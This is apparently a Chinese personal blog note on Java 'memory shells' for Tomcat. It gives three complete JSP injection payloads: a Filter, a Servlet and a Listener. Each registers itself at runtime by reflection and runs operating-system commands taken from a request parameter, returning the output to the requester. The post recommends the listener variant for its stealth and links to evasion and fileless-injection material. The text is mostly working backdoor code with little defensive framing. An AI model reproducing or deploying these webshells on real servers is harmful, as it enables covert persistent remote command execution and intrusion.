简单学习java内存马

看了雷石的内存马深入浅出，就心血来潮看了看，由于本人java贼菜就不介绍原理了，本文有关知识都贴链接吧

前置知识

本次主要看的是tomcat的内存马，所以前置知识有下列

1.tomcat结构，tomcat和idea联动创建java_web

2.jsp简单语法结构

3.servlet基础

这些百度就行，不贴链接了，下面贴链接的都是，不容易百度到，或者知识体系和描述不一致的

内存马基础知识

1.内存马能够存在的三种形式：

https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652991099&idx=1&sn=a6c34bb344f105eb98fc6943c7439331&scene=21#wechat_redirect

2.filter型内存马实现流程

https://mp.weixin.qq.com/s/hev4G1FivLtqKjt0VhHKmw

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "fengxuan";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                //这里写上我们后门的主要代码
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    /*这是linux的，我主要用的windows的
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                    */
                    String  command = req.getParameter("cmd");
                    //System.out.println(Arrays.toString(command));
                    InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
                    Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
                    String output = scanner.hasNext() ? scanner.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }
                //别忘记带这个，不然的话其他的过滤器可能无法使用
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }
        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());

        // 将filterDef添加到filterDefs中
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        //拦截的路由规则，/* 表示拦截任意路由
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("注入成功");
    }
%>

3.servlet内存马实现流程

原理这个讲的比较好：https://blog.csdn.net/angry_program/article/details/118492214

但是不得不说这里真的坑，我到写这篇记录都没搞定idea调试tomcat源码的操作

所以直接给大家源码吧

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
    public static class servletTest extends HttpServlet {
        @Override
        public void doGet(HttpServletRequest httpRequest, HttpServletResponse httpResponse) throws ServletException, IOException {
            System.out.println("doGet被调用");
            //servletResponse.getOutputStream().write("doGet被调用".getBytes());

            if (httpRequest.getParameter("c") != null) {
                System.out.println("eval");
                //String[]  command = new String[]{"sh", "-c", request.getParameter("c")};
                String command = httpRequest.getParameter("c");
                //System.out.println(Arrays.toString(command));
                InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
                Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
                String output = scanner.hasNext() ? scanner.next() : "";
                httpResponse.getOutputStream().write(output.getBytes());
                httpResponse.getOutputStream().flush();
                //servletResponse.getWriter().write(output);
                //servletResponse.getWriter().flush();

            }
        }

        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            System.out.println("doPost被调用");
            doGet(req, resp);
        }

        @Override
        public void init() throws ServletException {
            System.out.println("servlet demo init！");
        }
    }
%>
<%
    servletTest servlet=new servletTest();
    // 一个小路径快速获得StandardContext，这两种都行，这个常用一点，不过我一直没找到request引的哪个包，坑！！！
    // Field reqF = request.getClass().getDeclaredField("request");
    // reqF.setAccessible(true);
    // Request req = (Request) reqF.get(request);
    // StandardContext stdcontext = (StandardContext) req.getContext();

    // 获取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext stdcontext = (StandardContext)webappClassLoaderBase.getResources().getContext();

    org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

    // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/servlet", name);
    System.out.print("注入成功");

%>

3.listener型内存马（非常推荐）：

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%!
    public  class listenerDemo implements ServletRequestListener{
        @Override
        public void requestDestroyed(ServletRequestEvent sre){
            System.out.println("linstener Destroyed!");
        }

        @Override
        public void requestInitialized(ServletRequestEvent sre){
            System.out.println("linstener Initialized!");
            String command = sre.getServletRequest().getParameter("fuck");
            try {
                Runtime.getRuntime().exec(command);
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
    }
%>
<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();

    listenerDemo listenerdemo = new listenerDemo();
    context.addApplicationEventListener(listenerdemo);
%>

这个listener的形式优先级最高，代码量最小，而且由于servrlet的特性，每次都会销毁实例，隐蔽性更高一点点

绕过方式

https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652991099&idx=1&sn=a6c34bb344f105eb98fc6943c7439331&scene=21#wechat_redirect

“降维打击篇”以后部分，写得非常好。

剩余问题

1.tomcat源码在idea调试咋弄，有会的告我一下，跪求

2.其它容器中内存马实现方式

3.反序列化实现真正的无文件形式内存马：http://wjlshare.com/archives/1541